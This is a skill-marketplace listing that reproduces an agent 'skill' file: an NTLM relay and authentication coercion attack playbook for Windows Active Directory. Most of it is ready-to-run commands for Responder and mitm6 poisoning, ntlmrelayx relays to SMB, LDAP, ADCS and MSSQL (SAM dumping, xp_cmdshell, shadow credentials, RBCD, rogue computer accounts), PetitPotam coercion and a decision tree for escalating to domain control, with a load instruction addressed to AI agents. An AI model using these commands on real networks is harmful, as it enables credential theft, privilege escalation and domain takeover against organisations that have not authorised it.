Now liveThe Skillselion MCP - thousands of ranked skills, loaded into your agent mid-task. No install.Get it →
yaklang avatar

Ntlm Relay Coercion

  • 2.2k installs
  • 1.5k repo stars
  • Updated June 16, 2026
  • yaklang/hack-skills

ntlm-relay-coercion is an agent skill for >-

About

The ntlm-relay-coercion skill documents workflows and patterns from the repository SKILL md name ntlm-relay-coercion description NTLM relay and authentication coercion playbook Use when capturing and relaying NTLM authentication to escalate privileges via SMB LDAP HTTP or MSSQL relay targets combined with PetitPotam PrinterBug and other coercion methods SKILL NTLM Relay and Authentication Coercion Expert Attack Playbook AI LOAD INSTRUCTION Expert NTLM relay and coercion techniques Covers relay to SMB LDAP HTTP MSSQL signing requirements Responder poisoning mitm6 cross-protocol relay WebDAV coercion and all major coercion methods Base models miss signing EPA requirements and cross-protocol relay constraints RELATED ROUTING Before going deep consider loading active-directory-certificate-services active-directory-certificate-services SKILL md for ESC8 relay to ADCS enrollment active-directory-acl-abuse active-directory-acl-abuse SKILL md for ACL modification via LDAP relay RBCD shadow creds active-directory-kerberos-attacks active-directory-kerberos-attacks SKILL md for Kerberos attacks after relay success windows-lateral-movement windows-lateral-movement SKILL md for post-relay late.

  • SKILL: NTLM Relay and Authentication Coercion - Expert Attack Playbook
  • [active-directory-certificate-services](../active-directory-certificate-services/SKILL.md) for ESC8 (relay to ADCS enrol
  • [active-directory-acl-abuse](../active-directory-acl-abuse/SKILL.md) for ACL modification via LDAP relay (RBCD, shadow c
  • [active-directory-kerberos-attacks](../active-directory-kerberos-attacks/SKILL.md) for Kerberos attacks after relay succ
  • [windows-lateral-movement](../windows-lateral-movement/SKILL.md) for post-relay lateral movement

Ntlm Relay Coercion by the numbers

  • 2,203 all-time installs (skills.sh)
  • +120 installs in the week ending Aug 5, 2026 (Skillselion tracking)
  • Ranked #374 of 2,153 Testing & QA skills by installs in the Skillselion catalog
  • Security screen: CRITICAL risk (skills.sh audit)
  • Data as of Aug 5, 2026 (Skillselion catalog sync)
At a glance

ntlm-relay-coercion capabilities & compatibility

Capabilities
skill: ntlm relay and authentication coercion · [active directory certificate services](../activ · [active directory acl abuse](../active directory · [active directory kerberos attacks](../active di · [windows lateral movement](../windows lateral mo
Use cases
documentation
From the docs

What ntlm-relay-coercion says it does

--- name: ntlm-relay-coercion description: >- NTLM relay and authentication coercion playbook.
SKILL.md
Use when capturing and relaying NTLM authentication to escalate privileges via SMB, LDAP, HTTP, or MSSQL relay targets, combined with PetitPotam, PrinterBug, and other coercion methods.
SKILL.md
Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods.
SKILL.md
npx skills add https://github.com/yaklang/hack-skills --skill ntlm-relay-coercion

Add your badge

Show developers this skill is listed on Skillselion. Paste this into your README.

Listed on Skillselion
Installs2.2k
repo stars1.5k
Security audit1 / 3 scanners passed
Last updatedJune 16, 2026
Repositoryyaklang/hack-skills

What problem does ntlm-relay-coercion solve for developers using the documented workflows?

>-

Who is it for?

Developers working with ntlm-relay-coercion patterns described in the skill documentation.

Skip if: Skip when docs are empty or the task is outside the skill documented scope.

When should I use this skill?

>-

What you get

Grounded guidance and workflows from SKILL.md for ntlm-relay-coercion.

  • Coercion method comparison matrix
  • RPC function reference
  • Attack path notes

Files

SKILL.mdMarkdownGitHub ↗

SKILL: NTLM Relay and Authentication Coercion — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert NTLM relay and coercion techniques. Covers relay to SMB/LDAP/HTTP/MSSQL, signing requirements, Responder poisoning, mitm6, cross-protocol relay, WebDAV coercion, and all major coercion methods. Base models miss signing/EPA requirements and cross-protocol relay constraints.

0. RELATED ROUTING

Before going deep, consider loading:

  • active-directory-certificate-services for ESC8 (relay to ADCS enrollment)
  • active-directory-acl-abuse for ACL modification via LDAP relay (RBCD, shadow creds)
  • active-directory-kerberos-attacks for Kerberos attacks after relay success
  • windows-lateral-movement for post-relay lateral movement

Advanced Reference

Also load COERCION_METHODS.md when you need:

  • Detailed coercion method comparison (PetitPotam, PrinterBug, DFSCoerce, etc.)
  • RPC function-level details and prerequisites
  • Coercer tool usage and discovery

---

1. NTLM RELAY FUNDAMENTALS

Victim          Attacker (relay)         Target
  │                 │                      │
  │── NTLM Auth ──→│                      │  (1) Victim authenticates (coerced/poisoned)
  │                 │── Forward Auth ─────→│  (2) Attacker relays to target
  │                 │←─ Challenge ──────── │  (3) Target sends challenge
  │←─ Challenge ────│                      │  (4) Attacker forwards challenge to victim
  │── Response ────→│                      │  (5) Victim computes response
  │                 │── Forward Response ─→│  (6) Attacker relays response to target
  │                 │←─ Authenticated! ────│  (7) Target accepts → attacker has session

NTLMv1 vs NTLMv2

FeatureNTLMv1NTLMv2
SecurityWeak (crackable to NTLM hash)Stronger (but still relayable)
RelayYesYes
Crack to hashYes (rainbow tables, crack.sh)Offline brute-force only
DowngradeForce via Responder --lmDefault in modern Windows

---

2. RELAY TARGET MATRIX

Target ProtocolWhat You GetSigning Required by Default?EPA/Channel Binding?
SMBCommand exec (if admin), file accessDCs: Yes, Workstations: NoNo
LDAPACL modification, RBCD, shadow creds, add computerDCs: No (negotiated)No (unless configured)
LDAPSSame as LDAP but encryptedN/AYes (channel binding)
HTTP (ADCS)Certificate enrollment (ESC8)NoDepends on config
MSSQLSQL queries, xp_cmdshellNoNo
IMAP/SMTPEmail accessNoNo
RPCVarious (CA enrollment for ESC11)DependsNo

Signing Check

# Check SMB signing on target
crackmapexec smb TARGET_IP --gen-relay-list relay_targets.txt
# Outputs hosts WITHOUT required SMB signing

# Nmap SMB signing check
nmap -p 445 --script smb2-security-mode TARGET_RANGE

---

3. RESPONDER — CREDENTIAL CAPTURE

LLMNR/NBT-NS/WPAD/mDNS Poisoning

# Start Responder (capture mode — don't relay, just capture hashes)
responder -I eth0 -dwP

# Analyze mode (passive, no poisoning)
responder -I eth0 -A

# Key protocols poisoned:
# LLMNR (UDP 5355) — Link-Local Multicast Name Resolution
# NBT-NS (UDP 137)  — NetBIOS Name Service
# WPAD              — Web Proxy Auto-Discovery (proxy config)
# mDNS (UDP 5353)   — Multicast DNS

Responder + Relay (Don't Capture, Relay Instead)

# Disable HTTP and SMB servers in Responder (ntlmrelayx will handle them)
# Edit /etc/responder/Responder.conf: set HTTP and SMB to Off

# Start Responder for poisoning only
responder -I eth0 -dwP

# Start ntlmrelayx for relay
ntlmrelayx.py -tf targets.txt -smb2support

---

4. NTLMRELAYX — RELAY EXECUTION

Relay to SMB (Admin Execution)

# Execute command on targets (requires admin privs on target)
ntlmrelayx.py -tf targets.txt -smb2support -c "whoami"

# Dump SAM hashes
ntlmrelayx.py -tf targets.txt -smb2support

# Interactive SOCKS proxy (maintain sessions)
ntlmrelayx.py -tf targets.txt -smb2support -socks
# Then: proxychains smbclient //TARGET/C$ -U DOMAIN/user

Relay to LDAP (ACL Modification)

# Automatic RBCD (delegate-access)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Escalate via shadow credentials
ntlmrelayx.py -t ldap://DC_IP --shadow-credentials -smb2support

# Add computer account
ntlmrelayx.py -t ldap://DC_IP --add-computer FAKE01 P@ss123 -smb2support

# Dump domain info
ntlmrelayx.py -t ldap://DC_IP -smb2support --dump-domain

Relay to ADCS HTTP (ESC8)

ntlmrelayx.py -t http://CA_HOST/certsrv/certfnsh.asp -smb2support \
  --adcs --template DomainController

# Use with coercion to relay DC auth → get DC certificate

Relay to MSSQL

ntlmrelayx.py -t mssql://SQL_HOST -smb2support -q "SELECT system_user; EXEC xp_cmdshell 'whoami'"

---

5. MITM6 — IPv6 DNS TAKEOVER

# mitm6 exploits IPv6 auto-configuration to become DNS server
mitm6 -d domain.com

# Combined with ntlmrelayx
ntlmrelayx.py -6 -t ldap://DC_IP -wh fake-wpad.domain.com --delegate-access -smb2support

# Flow:
# 1. mitm6 sends DHCPv6 replies → victim gets attacker as IPv6 DNS
# 2. Victim queries WPAD → attacker responds
# 3. NTLM auth triggered → relayed to LDAP
# 4. RBCD or shadow credentials set on victim computer

---

6. CROSS-PROTOCOL RELAY

SMB → LDAP

Capture SMB authentication, relay to LDAP (requires no LDAP signing enforcement).

# Coerce SMB auth from DC, relay to LDAP on same or different DC
ntlmrelayx.py -t ldap://DC02_IP --delegate-access -smb2support

# Trigger coercion (attacker receives SMB auth)
PetitPotam.py ATTACKER_IP DC01_IP

Limitation: SMB → LDAP relay fails if the source uses SMB signing negotiation that indicates relay.

WebDAV → LDAP

WebDAV from workstations sends NTLM over HTTP → relay to LDAP (no signing issues).

# WebDAV coercion sends HTTP-based NTLM (no SMB signing concern)
ntlmrelayx.py -t ldap://DC_IP --delegate-access -smb2support

# Coerce via WebDAV (workstation must have WebClient service running)
# Use @ATTACKER_PORT format to force WebDAV
PetitPotam.py ATTACKER@80/test WORKSTATION_IP

---

7. WEBDAV-BASED COERCION

WebClient service (WebDAV) converts SMB-type coercion to HTTP-based NTLM.

# Check if WebClient is running (port 80 listener or service query)
crackmapexec smb TARGET -u user -p pass -M webdav

# Start WebDAV coercion (from workstation, not server)
# Force target to authenticate via HTTP:
# Use UNC path format: \\ATTACKER@PORT\share

Key advantage: HTTP-based NTLM avoids SMB signing requirements.

---

8. NTLM RELAY DECISION TREE

Want to relay NTLM authentication
│
├── What auth can you capture?
│   ├── Responder poisoning (passive, wait for queries)
│   ├── mitm6 (DHCPv6 DNS takeover, periodic)
│   └── Active coercion → load COERCION_METHODS.md
│
├── What target to relay to?
│   │
│   ├── Need code execution?
│   │   ├── SMB target without signing → ntlmrelayx to SMB (§4)
│   │   └── MSSQL target → ntlmrelayx to MSSQL + xp_cmdshell (§4)
│   │
│   ├── Need domain escalation?
│   │   ├── LDAP signing not enforced?
│   │   │   ├── Relay to LDAP → RBCD (§4)
│   │   │   ├── Relay to LDAP → shadow credentials (§4)
│   │   │   └── Relay to LDAP → add computer + delegate (§4)
│   │   └── LDAP signing enforced?
│   │       └── Relay to ADCS HTTP (ESC8) → certificate (§4)
│   │
│   └── Need certificate?
│       └── Relay to ADCS HTTP/RPC → ESC8/ESC11 (§4)
│
├── Source is SMB-based?
│   ├── Target is SMB → check signing (§2)
│   ├── Target is LDAP → may work (cross-protocol, §6)
│   └── Target is HTTP → works (cross-protocol)
│
├── Source is HTTP-based (WebDAV)?
│   └── Relay to any target (no signing issues, §6/§7)
│
└── Relay fails?
    ├── Check signing requirements (§2)
    ├── Check EPA/channel binding
    ├── Try cross-protocol (SMB → LDAP)
    └── Try WebDAV coercion (avoids SMB signing)

Related skills

FAQ

Who is Ntlm Relay Coercion for?

Developers and software engineers working with ntlm-relay-coercion patterns from the skill documentation.

When should I use Ntlm Relay Coercion?

>-

Is Ntlm Relay Coercion safe to install?

Review the Security Audits panel on this page before installing in production.

This week in AI coding

Five minutes, every Monday - the tools, releases and tactics for developers.

unsubscribe anytime.